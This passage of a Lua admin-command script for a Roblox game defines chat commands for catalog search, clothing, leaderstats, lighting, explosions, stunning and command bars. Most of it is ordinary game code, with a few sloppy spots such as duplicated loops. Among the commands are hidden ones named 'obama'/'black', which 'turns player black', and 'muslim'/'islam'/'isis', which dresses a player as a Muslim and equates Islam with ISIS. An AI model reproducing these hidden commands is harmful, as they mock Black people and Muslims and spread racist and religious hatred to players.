7285 | MARKET:ShowSearch(Speaker, 5, Arguments[1], function(ID) | |
7286 | if Speaker:FindFirstChild("Backpack") then | |
7287 | CORE:Insert(ID, Speaker.Backpack, true, {"Tool", "HopperBin"}, AbuseMode) | |
7288 | end | |
7289 | end) | |
7290 | end, Http = true}; | |
7291 | ||
7292 | [{"searchaccessory", "searchaccessories", "searchacs", "searcha", "searchhat", "searchhats", "searchh"}] = {"string(type) string(query)", "Searches the catalog for the accessory string(query) with the type of string(type)", 1, "Member", false, function(Speaker, Rank, Arguments) | |
7293 | local Type = "all" | |
7294 | local Query = string.lower(Arguments[1]) | |
7295 | local Arguments = STRING:GetSplit(Query, 2, Settings.Bet) | |
7296 | if #Arguments == 2 and Assets.AccessoryTypes[Arguments[1]] then | |
7297 | Type = Arguments[1] | |
7298 | Query = Arguments[2] | |
7299 | end | |
7300 | MARKET:ShowSearch(Speaker, 11, Query, function(ID) | |
7301 | if Speaker.Character then | |
7302 | CORE:Insert(ID, Speaker.Character, true, {"Accoutrement"}) | |
7303 | end | |
7304 | end, MARKET:AccessoryToSubcategory(Type)) | |
7305 | end, Http = true}; | |
7306 | ||
7307 | [{"searchp", "searchpack", "searchpackage"}] = {"string", "Searches the catalog for the package string", 1, "Member", false, function(Speaker, Rank, Arguments) | |
7308 | MARKET:ShowSearch(Speaker, 11, Arguments[1], function(ID) | |
7309 | if Speaker.Character then | |
7310 | CORE:GivePackage(Speaker, ID) | |
7311 | end | |
7312 | end, 11) | |
7313 | end, Http = false}; | |
7314 | ||
7315 | [{"nopackage", "nopack", "unpackage", "unpack"}] = {"player", "Removes all packages from player", 1, "Member", false, function(Speaker, Rank, Arguments) | |
7316 | local Players = STRING:Scan(Arguments[1], Speaker) | |
7317 | for _,Player in pairs(Players) do | |
7318 | CORE:GivePackage(Player) | |
7319 | end | |
7320 | end}; | |
7321 | ||
7322 | [{"package", "pack", "morph"}] = {"player num(ID)", "Gives player the package with num(ID)", 2, "Member", false, function(Speaker, Rank, Arguments) | |
7323 | local Players = STRING:Scan(Arguments[1], Speaker) | |
7324 | for _,Player in pairs(Players) do | |
7325 | CORE:GivePackage(Player, Arguments[2]) | |
7326 | end | |
7327 | end, Http = false}; | |
7328 | ||
7329 | [{"change", "changestat", "changeleaderstat", "changestats", "changeleaderstats"}] = {"player string(key) value(string/num)", "Changes player's leaderstats for key(Coins, money, ext) to value", 3, "Member", false, function(Speaker, Rank, Arguments) | |
7330 | local Players = STRING:Scan(Arguments[1], Speaker) | |
7331 | for _,Player in pairs(Players) do | |
7332 | local Stats = Player:FindFirstChild("leaderstats") | |
7333 | if Stats ~= nil then | |
7334 | for _,Stat in pairs(Stats:GetChildren()) do | |
7335 | if string.sub(string.lower(Stat.Name),1,#Arguments[2]) == string.lower(Arguments[2]) then | |
7336 | ypcall(function() Stat.Value = Arguments[3] end) | |
7337 | end | |
7338 | end | |
7339 | end | |
7340 | end | |
7341 | end}; | |
7342 | ||
7343 | [{"shirt"}] = {"player num(ID)", "Changes player's shirt to num(ID)", 2, "Member", false, function(Speaker, Rank, Arguments) | |
7344 | local ID = tonumber(Arguments[2]) | |
7345 | local Players = STRING:Scan(Arguments[1], Speaker) | |
7346 | for _,Player in pairs(Players) do | |
7347 | for _,Player in pairs(Players) do | |
7348 | if Player.Character ~= nil then | |
7349 | local Obj = Player.Character:FindFirstChild("Shirt") | |
7350 | if Obj then | |
7351 | Obj.ShirtTemplate = "rbxassetid://"..MARKET:GetImageFormat(ID) | |
7352 | else | |
7353 | Obj = Instance.new("Shirt", Player.Character) Obj.Name = "Shirt" Obj.ShirtTemplate = "rbxassetid://"..MARKET:GetImageFormat(ID) | |
7354 | end | |
7355 | coroutine.wrap(function() Obj.Parent = nil wait(0.1) Obj.Parent = Player.Character end)() | |
7356 | end | |
7357 | end | |
7358 | end | |
7359 | end}; | |
7360 | ||
7361 | [{"pants"}] = {"player num(ID)", "Changes player's pants to num(ID)", 2, "Member", false, function(Speaker, Rank, Arguments) | |
7362 | local ID = tonumber(Arguments[2]) | |
7363 | local Players = STRING:Scan(Arguments[1], Speaker) | |
7364 | for _,Player in pairs(Players) do | |
7365 | for _,Player in pairs(Players) do | |
7366 | if Player.Character ~= nil then | |
7367 | local Obj = Player.Character:FindFirstChild("Pants") | |
7368 | if Obj then | |
7369 | Obj.PantsTemplate = "rbxassetid://"..MARKET:GetImageFormat(ID) | |
7370 | else | |
7371 | Obj = Instance.new("Pants", Player.Character) Obj.Name = "Pants" Obj.PantsTemplate = "rbxassetid://"..MARKET:GetImageFormat(ID) | |
7372 | end | |
7373 | coroutine.wrap(function() Obj.Parent = nil wait(0.1) Obj.Parent = Player.Character end)() | |
7374 | end | |
7375 | end | |
7376 | end | |
7377 | end}; | |
7378 | ||
7379 | [{"tshirt"}] = {"player num(ID)", "Changes player's T-shirt to num(ID)", 2, "Member", false, function(Speaker, Rank, Arguments) | |
7380 | local ID = tonumber(Arguments[2]) | |
7381 | local Players = STRING:Scan(Arguments[1], Speaker) | |
7382 | for _,Player in pairs(Players) do | |
7383 | for _,Player in pairs(Players) do | |
7384 | if Player.Character ~= nil then | |
7385 | if Player.Character:FindFirstChild("Torso") then | |
7386 | local Obj1 = Player.Character:FindFirstChild("Shirt Graphic") | |
7387 | local Obj2 = Player.Character.Torso:FindFirstChild("roblox") | |
7388 | if Obj1 then | |
7389 | Obj1.Graphic = "rbxassetid://"..MARKET:GetImageFormat(ID) | |
7390 | else | |
7391 | Obj1 = Instance.new("ShirtGraphic", Player.Character) Obj1.Name = "Shirt Graphic" Obj1.Graphic = "rbxassetid://"..MARKET:GetImageFormat(ID) | |
7392 | end | |
7393 | if Obj2 then | |
7394 | Obj2.Texture = "rbxassetid://"..MARKET:GetImageFormat(ID) | |
7395 | else | |
7396 | Obj2 = Instance.new("Decal", Player.Character.Torso) Obj2.Name = "roblox" Obj2.Texture = "rbxassetid://"..MARKET:GetImageFormat(ID) Obj2.Face = "Front" | |
7397 | end | |
7398 | coroutine.wrap(function() Obj1.Parent = nil wait(0.1) Obj1.Parent = Player.Character end)() | |
7399 | coroutine.wrap(function() Obj2.Parent = nil wait(0.2) Obj2.Parent = Player.Character.Torso end)() | |
7400 | end | |
7401 | end | |
7402 | end | |
7403 | end | |
7404 | end}; | |
7405 | ||
7406 | [{"oder", "od", "onlinedater", "onlinedate"}] = {"player", "Changes player's character to be an online dater", 1, "Member", false, function(Speaker, Rank, Arguments) | |
7407 | local Players = STRING:Scan(Arguments[1], Speaker) | |
7408 | for _,Player in pairs(Players) do | |
7409 | CORE:ChangeCharacter(Player, OderIDs[math.random(1,#OderIDs)], false, Speaker) | |
7410 | end | |
7411 | end}; | |
7412 | ||
7413 | [{"cookie"}] = {"player", "Gives player a cookie if the speaker is in the admin group", 1, "Member", false, function(Speaker, Rank, Arguments) | |
7414 | if CORE:InAdminGroup(Speaker) then | |
7415 | local Players = STRING:Scan(Arguments[1], Speaker) | |
7416 | for _,Player in pairs(Players) do | |
7417 | if Player:FindFirstChild("Backpack") then | |
7418 | local Tool = Instance.new("Tool", Player.Backpack) Tool.Name = "Cookie" Tool.ToolTip = "Yey! Cookies!" Tool.GripForward = Vector3.new(0,1,0) Tool.GripPos = Vector3.new(0.1,-0.3,-0.1) Tool.GripRight = Vector3.new(0,0,-1) Tool.GripUp = Vector3.new(0.01,0,1) | |
7419 | local Handle = Instance.new("Part", Tool) Handle.Name = "Handle" Handle.Size = Vector3.new(1,1,1) | |
7420 | local Mesh = Instance.new("SpecialMesh", Handle) Mesh.MeshType = "FileMesh" Mesh.Scale = Vector3.new(0.4,0.4,0.4) Mesh.MeshId = "rbxassetid://20939848" Mesh.TextureId = "rbxassetid://21456464" | |
7421 | local Anim = Instance.new("Animation", Tool) Anim.Name = "EatCookie" Anim.AnimationId = "rbxassetid://29517689" | |
7422 | CORE:ExecuteResource("CookieTool", Tool) | |
7423 | end | |
7424 | end | |
7425 | end | |
7426 | end}; | |
7427 | ||
7428 | [{"decal", "image"}] = {"num(ID)", "Allows player to insert num(ID) as a decal", 1, "Member", false, function(Speaker, Rank, Arguments) | |
7429 | if Speaker:FindFirstChild("Backpack") and tonumber(Arguments[1]) then | |
7430 | CORE:ExecuteResource("InsertDecal", Speaker.Backpack, {["DecalID"] = MARKET:GetImageFormat(tonumber(Arguments[1]))}) | |
7431 | end | |
7432 | end}; | |
7433 | ||
7434 | [{"insert", "model", "ins"}] = {"num(ID)", "Allows player to insert num(ID) as a model(Only works if the model is owned by the owner of the game or ROBLOX)", 1, "Member", false, function(Speaker, Rank, Arguments) | |
7435 | if Speaker:FindFirstChild("Backpack") and tonumber(Arguments[1]) then | |
7436 | local Model = CORE:Insert(tonumber(Arguments[1]), Server.RS) | |
7437 | Model:MakeJoints() | |
7438 | for i = 1,math.random(10,20) do | |
7439 | Model.Name = Model.Name..string.char(math.random(97,122)) | |
7440 | end | |
7441 | if Model:GetChildren()[1] then | |
7442 | table.insert(Objects, Model) | |
7443 | CORE:ExecuteResource("InsertModel", Speaker.Backpack, {["Model"] = Model}) | |
7444 | end | |
7445 | end | |
7446 | end}; | |
7447 | ||
7448 | [{"animate", "animation", "anim"}] = {"player num(ID)", "Animates player to num(ID)", 2, "Member", false, function(Speaker, Rank, Arguments) | |
7449 | local ID = tonumber(Arguments[2]) | |
7450 | local Players = STRING:Scan(Arguments[1], Speaker) | |
7451 | for _,Player in pairs(Players) do | |
7452 | if Player.Character then | |
7453 | CORE:ExecuteResource("PlayAnimation", Player.Character, {["AnimationID"] = Arguments[2]}) | |
7454 | end | |
7455 | end | |
7456 | end}; | |
7457 | ||
7458 | [{"noanimate", "moanimation", "noanim", "unanimate", "unanimation", "unanim"}] = {"player", "Stops animations playing from the animate command", 1, "Member", false, function(Speaker, Rank, Arguments) | |
7459 | local Players = STRING:Scan(Arguments[1], Speaker) | |
7460 | for _,Player in pairs(Players) do | |
7461 | if Player.Character then | |
7462 | local StopAnim = Player.Character:FindFirstChild("Stop MML Animate") | |
7463 | if StopAnim then StopAnim:Destroy() end | |
7464 | end | |
7465 | end | |
7466 | end}; | |
7467 | ||
7468 | [{"ambient"}] = {"Color3(1) Color3(2) Color3(3)", "Changes the ambient lighting to Red - Color3(1) Green - Color3(2) Blue - Color3(3) (Out of 255)", 3, "Member", false, function(Speaker, Rank, Arguments) | |
7469 | if tonumber(Arguments[1]) and tonumber(Arguments[2]) and tonumber(Arguments[3]) then | |
7470 | Server.Lighting.Ambient = Color3.new(tonumber(Arguments[1])/255,tonumber(Arguments[2])/255,tonumber(Arguments[3])/255) | |
7471 | end | |
7472 | end}; | |
7473 | ||
7474 | [{"brightness", "bright"}] = {"num", "Changes the lighting brightness to num", 1, "Member", false, function(Speaker, Rank, Arguments) | |
7475 | if tonumber(Arguments[1]) then | |
7476 | Server.Lighting.Brightness = tonumber(Arguments[1]) | |
7477 | end | |
7478 | end}; | |
7479 | ||
7480 | [{"pl", "playerlist"}] = {"player", "Enables player to see the player list", 1, "Member", false, function(Speaker, Rank, Arguments) | |
7481 | local Players = STRING:Scan(Arguments[1], Speaker) | |
7482 | for _,Player in pairs(Players) do | |
7483 | GUI:CoreGui(Player, "PlayerList", true) | |
7484 | end | |
7485 | end}; | |
7486 | ||
7487 | [{"npl", "nopl", "unpl", "noplayerlist", "unplayerlist"}] = {"player", "Disables player to see the player list", 1, "Member", false, function(Speaker, Rank, Arguments) | |
7488 | local Players = STRING:Scan(Arguments[1], Speaker) | |
7489 | for _,Player in pairs(Players) do | |
7490 | local Players = STRING:Scan(Arguments[1], Speaker) | |
7491 | GUI:CoreGui(Player, "PlayerList", false) | |
7492 | end | |
7493 | end}; | |
7494 | ||
7495 | [{"bc", "tbc", "obc"}] = {"player", "What do you know, it's a real command!", 1, "Member", false, function(Speaker, Rank, Arguments) | |
7496 | GUI:SendMessage(Speaker, "Wow, you thought this was a command", "Did you look at the comments by chance?", 5253865) | |
7497 | end, Hidden = true}; | |
7498 | ||
7499 | [{"obama", "black", "1337"}] = {"player", "Turns player black", 1, "Member", false, function(Speaker, Rank, Arguments) | |
7500 | local Players = STRING:Scan(Arguments[1], Speaker) | |
7501 | for _,Player in pairs(Players) do | |
7502 | CORE:ChangeCharacter(Player, 1337, false, Speaker) | |
7503 | end | |
7504 | end, Hidden = true}; | |
7505 | ||
7506 | [{"muslim", "islam", "isis"}] = {"player", "Turns player into a muslim", 1, "Member", false, function(Speaker, Rank, Arguments) | |
7507 | local Players = STRING:Scan(Arguments[1], Speaker) | |
7508 | for _,Player in pairs(Players) do | |
7509 | if Player.Character and Player.Character:FindFirstChild("Head") and Player.Character.Head:FindFirstChild("face") then | |
7510 | ypcall(function() Player.Character.Torso.roblox:Destroy() end) | |
7511 | Player:ClearCharacterAppearance() | |
7512 | CORE:Insert(12436480, Player.Character, true) | |
7513 | Player.Character.Head.face.Texture = "rbxassetid://110287880" | |
7514 | Instance.new("Shirt", Player.Character).ShirtTemplate = "rbxassetid://205596436" | |
7515 | Instance.new("Pants", Player.Character).PantsTemplate = "rbxassetid://205596483" | |
7516 | end | |
7517 | end | |
7518 | end, Hidden = true}; | |
7519 | ||
7520 | [{"noob", "noobify", "boon"}] = {"player", "Turns player into a noob", 1, "Member", false, function(Speaker, Rank, Arguments) | |
7521 | local Players = STRING:Scan(Arguments[1], Speaker) | |
7522 | for _,Player in pairs(Players) do | |
7523 | CORE:ChangeCharacter(Player, 0, false, Speaker) | |
7524 | end | |
7525 | end}; | |
7526 | ||
7527 | [{"nofilter", "unfilter", "defilter"}] = {"", "Removes current filter", 0, "Owner", false, function(Speaker, Rank, Arguments) | |
7528 | ShouldFilter = false | |
7529 | end, Hidden = true}; | |
7530 | ||
7531 | [{"bet"}] = {"string", "Changes the bet to string", 1, "Owner", false, function(Speaker, Rank, Arguments) | |
7532 | local Bet = Arguments[1] | |
7533 | if Bet == "/" or Bet == "-" or Bet == "(" or Bet == ")" then | |
7534 | GUI:SendMessage(Speaker, "Cannot change bet", "RED Illegal characters used to become a bet", "Error") | |
7535 | elseif #Bet > 5 then | |
7536 | GUI:SendMessage(Speaker, "Bet too long", "RED The bet is too long and is over 5 characters (You have "..#Bet.." characters)", "Error") | |
7537 | else | |
7538 | local Answer = GUI:PromptMessageWithButtons(Speaker, "Are you sure you want to change the bet", "You are about to change the bet from '"..Settings.Bet.."' to '"..Bet.."' and commands like "..Settings.Prefix.."ff"..Settings.Bet.."me will be changed to "..Settings.Prefix.."ff"..Bet.."me, Continue?", "Question", {"Yes", "No"}) | |
7539 | if Answer == "Yes" then | |
7540 | local OldBet = Settings.Bet | |
7541 | CORE:ChangeBet(Bet) | |
7542 | GUI:MessageAdmins("Bet Change", "The bet has changed from '"..OldBet.."' to '"..Bet.."' and commands like "..Settings.Prefix.."ff"..OldBet.."me will be changed to "..Settings.Prefix.."ff"..Bet.."me") | |
7543 | end | |
7544 | end | |
7545 | end}; | |
7546 | ||
7547 | [{"prefix"}] = {"string", "Changes the prefix to string", 1, "Owner", false, function(Speaker, Rank, Arguments) | |
7548 | local Prefix = Arguments[1] | |
7549 | if #Prefix > 5 then | |
7550 | GUI:SendMessage(Speaker, "Prefix too long", "RED The Prefix is too long and is over 5 characters (You have "..#Prefix.." characters)", "Error") | |
7551 | else | |
7552 | local Answer = GUI:PromptMessageWithButtons(Speaker, "Are you sure you want to change the Prefix", "You are about to change the Prefix from '"..Settings.Prefix.."' to '"..Prefix.."' and commands like "..Settings.Prefix.."ff"..Settings.Bet.."me will be changed to "..Prefix.."ff"..Settings.Bet.."me, Continue?", "Question", {"Yes", "No"}) | |
7553 | if Answer == "Yes" then | |
7554 | local OldPrefix = Settings.Prefix | |
7555 | Settings.Prefix = Prefix | |
7556 | GUI:MessageAdmins("Prefix Change", "The Prefix has changed from '"..OldPrefix.."' to '"..Prefix.."' and commands like "..OldPrefix.."ff"..Settings.Bet.."me will be changed to "..Prefix.."ff"..Settings.Bet.."me") | |
7557 | end | |
7558 | end | |
7559 | end}; | |
7560 | ||
7561 | [{"commandbar", "cmdbar", "cbar", "commandgui", "cmdgui", "cgui", "commandbox", "cmdbox", "cbox"}] = {"", "Gives you a command bar to enter commands", 0, "Member", false, function(Speaker, Rank, Arguments) | |
7562 | GUI:CommandBar(Speaker) | |
7563 | end}; | |
7564 | ||
7565 | [{"permcommandbar", "permcmdbar", "permcommandgui", "permcmdgui"}] = {"", "Gives you a command bar for each time you spawn", 0, "Admin", false, function(Speaker, Rank, Arguments) | |
7566 | GUI:CommandBar(Speaker) | |
7567 | PermCommandBars[Speaker.Name] = true | |
7568 | end}; | |
7569 | ||
7570 | [{"nopermcommandbar", "nopermcmdbar", "nopermcommandgui", "nopermcmdgui", "unpermcommandbar", "unpermcmdbar", "unpermcommandgui", "unpermcmdgui"}] = {"", "If you are in the perm command bar list, it takes you out(You keep command bar for current spawn)", 0, "Admin", false, function(Speaker, Rank, Arguments) | |
7571 | PermCommandBars[Speaker.Name] = nil | |
7572 | end}; | |
7573 | ||
7574 | [{"remotenopermcommandbar", "remotenopermcmdbar", "remotenopermcommandgui", "remotenopermcmdgui", "remoteunpermcommandbar", "remoteunpermcmdbar", "remoteunpermcommandgui", "remoteunpermcmdgui"}] = {"player", "If player is in the perm command bar list, it takes player out(player keep command bar for current spawn)", 1, "Owner", false, function(Speaker, Rank, Arguments) | |
7575 | local Players = STRING:Scan(Arguments[1], Speaker) | |
7576 | for _,Player in pairs(Players) do | |
7577 | PermCommandBars[Player.Name] = nil | |
7578 | end | |
7579 | end}; | |
7580 | ||
7581 | [{"dummy", "newdummy", "dum", "figure"}] = {"", "Creates a dummy", 0, "Member", false, function(Speaker, Rank, Arguments) | |
7582 | CORE:CreateFigure("Dummy", nil, true, Speaker) | |
7583 | end}; | |
7584 | ||
7585 | [{"namedummy", "dummyname", "namenewdummy", "namedum", "dumname", "namefigure", "ndummy", "nnewdummy", "ndum", "nfigure"}] = {"string", "Creates a dummy named string", 1, "Member", false, function(Speaker, Rank, Arguments) | |
7586 | CORE:CreateFigure(Arguments[1], nil, true, Speaker) | |
7587 | end}; | |
7588 | ||
7589 | [{"clone", "copy"}] = {"player", "Creates clone of player", 1, "Member", false, function(Speaker, Rank, Arguments) | |
7590 | local Players = STRING:Scan(Arguments[1], Speaker) | |
7591 | for _,Player in pairs(Players) do | |
7592 | CORE:ClonePlayer(Player) | |
7593 | end | |
7594 | end}; | |
7595 | ||
7596 | [{"nameclone", "clonename", "namecopy", "nclone", "ncopy"}] = {"player string", "Creates clone of player named string", 2, "Member", false, function(Speaker, Rank, Arguments) | |
7597 | local Players = STRING:Scan(Arguments[1], Speaker) | |
7598 | for _,Player in pairs(Players) do | |
7599 | CORE:ClonePlayer(Player, Arguments[2]) | |
7600 | end | |
7601 | end}; | |
7602 | ||
7603 | [{"clear", "clr"}] = {"", "Clears debris in workspace left by the admin", 0, "Member", false, function(Speaker, Rank, Arguments) | |
7604 | for _,Obj in pairs(Objects) do | |
7605 | if Obj then Obj:Destroy() end | |
7606 | end | |
7607 | for Name,Jail in pairs(Jails) do | |
7608 | if not game.Players:FindFirstChild(Name) then | |
7609 | Jail:Destroy() | |
7610 | Jails[Name] = nil | |
7611 | end | |
7612 | end | |
7613 | Objects = {} | |
7614 | end}; | |
7615 | ||
7616 | [{"clean", "cln"}] = {"", "Clears debris in workspace by players", 0, "Member", false, function(Speaker, Rank, Arguments) | |
7617 | for _,Obj in pairs(Server.Workspace:GetChildren()) do | |
7618 | if Obj:IsA("Accoutrement") or Obj:IsA("Tool") then | |
7619 | Obj:Destroy() | |
7620 | end | |
7621 | end | |
7622 | end}; | |
7623 | ||
7624 | [{"sparkles", "sparks"}] = {"player", "Adds a sparkling effect to player", 1, "Member", false, function(Speaker, Rank, Arguments) | |
7625 | local Players = STRING:Scan(Arguments[1], Speaker) | |
7626 | for _,Player in pairs(Players) do | |
7627 | if Player.Character and Player.Character:FindFirstChild("Torso") then | |
7628 | local Sparkles = Instance.new("Sparkles", Player.Character.Torso) table.insert(Objects, Sparkles) | |
7629 | end | |
7630 | end | |
7631 | end}; | |
7632 | ||
7633 | [{"fire"}] = {"player", "Makes player catch on fire", 1, "Member", false, function(Speaker, Rank, Arguments) | |
7634 | local Players = STRING:Scan(Arguments[1], Speaker) | |
7635 | for _,Player in pairs(Players) do | |
7636 | if Player.Character and Player.Character:FindFirstChild("Torso") then | |
7637 | local Fire = Instance.new("Fire", Player.Character.Torso) table.insert(Objects, Fire) | |
7638 | end | |
7639 | end | |
7640 | end}; | |
7641 | ||
7642 | [{"smoke"}] = {"player", "Adds a sparkling effect to player", 1, "Member", false, function(Speaker, Rank, Arguments) | |
7643 | local Players = STRING:Scan(Arguments[1], Speaker) | |
7644 | for _,Player in pairs(Players) do | |
7645 | if Player.Character and Player.Character:FindFirstChild("Torso") then | |
7646 | local Smoke = Instance.new("Smoke", Player.Character.Torso) table.insert(Objects, Smoke) | |
7647 | end | |
7648 | end | |
7649 | end}; | |
7650 | ||
7651 | [{"nosparkles", "nosparks", "unsparkles", "unsparks"}] = {"player", "Removes any sparkling effects to player", 1, "Member", false, function(Speaker, Rank, Arguments) | |
7652 | local Players = STRING:Scan(Arguments[1], Speaker) | |
7653 | for _,Player in pairs(Players) do | |
7654 | if Player.Character and Player.Character:FindFirstChild("Torso") then | |
7655 | for _,Get in pairs(Player.Character.Torso:GetChildren()) do | |
7656 | if Get:IsA("Sparkles") then | |
7657 | Get:Destroy() | |
7658 | end | |
7659 | end | |
7660 | end | |
7661 | end | |
7662 | end}; | |
7663 | ||
7664 | [{"nofire", "unfire"}] = {"player", "Removes player's fire effects", 1, "Member", false, function(Speaker, Rank, Arguments) | |
7665 | local Players = STRING:Scan(Arguments[1], Speaker) | |
7666 | for _,Player in pairs(Players) do | |
7667 | if Player.Character and Player.Character:FindFirstChild("Torso") then | |
7668 | for _,Get in pairs(Player.Character.Torso:GetChildren()) do | |
7669 | if Get:IsA("Fire") then | |
7670 | Get:Destroy() | |
7671 | end | |
7672 | end | |
7673 | end | |
7674 | end | |
7675 | end}; | |
7676 | ||
7677 | [{"nosmoke", "unsmoke"}] = {"player", "Removes player's smoke effects", 1, "Member", false, function(Speaker, Rank, Arguments) | |
7678 | local Players = STRING:Scan(Arguments[1], Speaker) | |
7679 | for _,Player in pairs(Players) do | |
7680 | if Player.Character and Player.Character:FindFirstChild("Torso") then | |
7681 | for _,Get in pairs(Player.Character.Torso:GetChildren()) do | |
7682 | if Get:IsA("Smoke") then | |
7683 | Get:Destroy() | |
7684 | end | |
7685 | end | |
7686 | end | |
7687 | end | |
7688 | end}; | |
7689 | ||
7690 | [{"explode", "explosion"}] = {"player", "Explodes player and everything around player", 1, "Member", false, function(Speaker, Rank, Arguments) | |
7691 | local Players = STRING:Scan(Arguments[1], Speaker) | |
7692 | for _,Player in pairs(Players) do | |
7693 | if Player.Character and Player.Character:FindFirstChild("Torso") then | |
7694 | SOUND:MakeSound(Player.Character.Torso, 187137543, 1, 1, false):Play() | |
7695 | local Boom = Instance.new("Explosion", Workspace) | |
7696 | Boom.Position = Player.Character.Torso.Position | |
7697 | end | |
7698 | end | |
7699 | end}; | |
7700 | ||
7701 | [{"splode", "smite"}] = {"player", "Explodes player 50 times and everything around player", 1, "Member", false, function(Speaker, Rank, Arguments) | |
7702 | local Players = STRING:Scan(Arguments[1], Speaker) | |
7703 | for _,Player in pairs(Players) do | |
7704 | if Player.Character and Player.Character:FindFirstChild("Torso") then | |
7705 | coroutine.wrap(function() for i = 1,50 do | |
7706 | local Boom = Instance.new("Explosion", Workspace) | |
7707 | Boom.Position = Player.Character.Torso.Position | |
7708 | wait() | |
7709 | end end)() | |
7710 | coroutine.wrap(function() for i = 1,5 do | |
7711 | SOUND:MakeSound(Player.Character.Torso, 187137543, 1, 1, false):Play() | |
7712 | end end)() | |
7713 | end | |
7714 | end | |
7715 | end}; | |
7716 | ||
7717 | [{"superjump", "nograv", "lowgrav"}] = {"player", "Enables player to be able to jump super high", 1, "Member", false, function(Speaker, Rank, Arguments) | |
7718 | local Players = STRING:Scan(Arguments[1], Speaker) | |
7719 | for _,Player in pairs(Players) do | |
7720 | if Player.Character and Player.Character:FindFirstChild("Torso") then | |
7721 | local Force = Player.Character.Torso:FindFirstChild("LMM SJ") if Force then Force:Destroy() end | |
7722 | Force = Instance.new("BodyForce", Player.Character.Torso) Force.Name = "LMM SJ" Force.force = Vector3.new(0,0,0) | |
7723 | CORE:ScanItems(Player.Character, {"BasePart"}, function(Obj) Force.force = Force.force + Vector3.new(0,Obj:GetMass() * 150,0) end) | |
7724 | end | |
7725 | end | |
7726 | end}; | |
7727 | ||
7728 | [{"normaljump", "grav", "nosuperjump", "unsuperjump"}] = {"player", "Disables player to be able to jump super high", 1, "Member", false, function(Speaker, Rank, Arguments) | |
7729 | local Players = STRING:Scan(Arguments[1], Speaker) | |
7730 | for _,Player in pairs(Players) do | |
7731 | if Player.Character and Player.Character:FindFirstChild("Torso") then | |
7732 | local Force = Player.Character.Torso:FindFirstChild("LMM SJ") if Force then Force:Destroy() end | |
7733 | end | |
7734 | end | |
7735 | end}; | |
7736 | ||
7737 | [{"punish"}] = {"player", "Punishes player by removing player's character", 1, "Member", false, function(Speaker, Rank, Arguments) | |
7738 | local Players = STRING:Scan(Arguments[1], Speaker) | |
7739 | for _,Player in pairs(Players) do | |
7740 | if Player.Character then | |
7741 | Player.Character.Parent = Server.Lighting | |
7742 | end | |
7743 | end | |
7744 | end}; | |
7745 | ||
7746 | [{"nopunish", "unpunish"}] = {"player", "Undoes the punish effect on player", 1, "Member", false, function(Speaker, Rank, Arguments) | |
7747 | local Players = STRING:Scan(Arguments[1], Speaker) | |
7748 | for _,Player in pairs(Players) do | |
7749 | if Player.Character then | |
7750 | Player.Character.Parent = Server.Workspace | |
7751 | Player.Character:MakeJoints() | |
7752 | end | |
7753 | end | |
7754 | end}; | |
7755 | ||
7756 | [{"stun", "platformstand"}] = {"player", "Stuns player so he cannot move", 1, "Member", false, function(Speaker, Rank, Arguments) | |
7757 | local Players = STRING:Scan(Arguments[1], Speaker) | |
7758 | for _,Player in pairs(Players) do | |
7759 | if Player.Character and Player.Character:FindFirstChild("Humanoid") then | |
7760 | Player.Character.Humanoid.PlatformStand = true | |
7761 | end | |
7762 | end | |
7763 | end}; | |
7764 | ||
7765 | [{"nostun", "unstun", "noplatformstand", "unplatformstand", "stand"}] = {"player", "Undoes the stun effect on player", 1, "Member", false, function(Speaker, Rank, Arguments) | |
7766 | local Players = STRING:Scan(Arguments[1], Speaker) | |
7767 | for _,Player in pairs(Players) do | |
7768 | if Player.Character and Player.Character:FindFirstChild("Humanoid") then | |
7769 | Player.Character.Humanoid.PlatformStand = false | |
7770 | end | |
7771 | end | |
7772 | end}; | |
7773 | ||
7774 | [{"jump"}] = {"player", "Makes player jump", 1, "Member", false, function(Speaker, Rank, Arguments) | |
7775 | local Players = STRING:Scan(Arguments[1], Speaker) | |
7776 | for _,Player in pairs(Players) do | |
7777 | if Player.Character and Player.Character:FindFirstChild("Humanoid") then | |
7778 | Player.Character.Humanoid.Jump = true | |
7779 | end | |
7780 | end | |
7781 | end}; | |
7782 | ||
7783 | [{"sit", "sitdown"}] = {"player", "Makes player sit down", 1, "Member", false, function(Speaker, Rank, Arguments) | |
7784 | local Players = STRING:Scan(Arguments[1], Speaker) | |
7785 | for _,Player in pairs(Players) do | |
7786 | if Player.Character and Player.Character:FindFirstChild("Humanoid") then | |
7787 | Player.Character.Humanoid.Sit = true | |
7788 | end | |
7789 | end | |
7790 | end}; | |
7791 | ||
7792 | [{"nosit", "unsit", "nositdown", "unsitdown", "stand", "standup"}] = {"player", "Makes player stand up if sitting down", 1, "Member", false, function(Speaker, Rank, Arguments) | |
7793 | local Players = STRING:Scan(Arguments[1], Speaker) | |
7794 | for _,Player in pairs(Players) do | |
7795 | if Player.Character and Player.Character:FindFirstChild("Humanoid") then | |
7796 | Player.Character.Humanoid.Sit = false | |
7797 | end | |
7798 | end | |
7799 | end}; | |
7800 | ||
7801 | [{"spin", "turn", "spinaround"}] = {"player", "Makes player spin around", 1, "Member", false, function(Speaker, Rank, Arguments) | |
7802 | local Players = STRING:Scan(Arguments[1], Speaker) | |
7803 | for _,Player in pairs(Players) do | |
7804 | if Player.Character and Player.Character:FindFirstChild("Torso") then | |
7805 | local Spin = Instance.new("BodyAngularVelocity", Player.Character.Torso) Spin.Name = "MML Spin" Spin.maxTorque = Vector3.new(0, math.huge, 0) Spin.angularvelocity = Vector3.new(0,20,0) | |
7806 | end | |
7807 | end | |
7808 | end}; | |
7809 | ||
7810 | [{"nospin", "unspin", "noturn", "unturn", "nospinaround", "unspinaround"}] = {"player", "Stops player from spinning around", 1, "Member", false, function(Speaker, Rank, Arguments) | |
7811 | local Players = STRING:Scan(Arguments[1], Speaker) | |
7812 | for _,Player in pairs(Players) do | |
7813 | if Player.Character and Player.Character:FindFirstChild("Torso") then | |
7814 | local Spin = Player.Character.Torso:FindFirstChild("MML Spin") if Spin then Spin:Destroy() end | |
7815 | end | |
7816 | end | |
7817 | end}; | |
7818 | ||
7819 | [{"port"}] = {"", "Gets the server network port", 0, "Owner", false, function(Speaker, Rank, Arguments) | |
7820 | GUI:SendMessage(Speaker, "Server Port", "The server port for this server is: "..Server.NS.Port, "Information") | |
7821 | end}; | |
7822 | ||
7823 | [{"chat"}] = {"player (color) string", "Makes player chat string. If color is available the color will be set to it", 2, "Member", false, function(Speaker, Rank, Arguments) | |
7824 | local Color = "Blue" | |
7825 | local String = Arguments[2] | |
7826 | local ChatSplit = STRING:GetSplit(String, 1, Settings.Bet) | |
7827 | if #ChatSplit >= 2 then | |
7828 | if string.lower(ChatSplit[1]) == "green" then | |
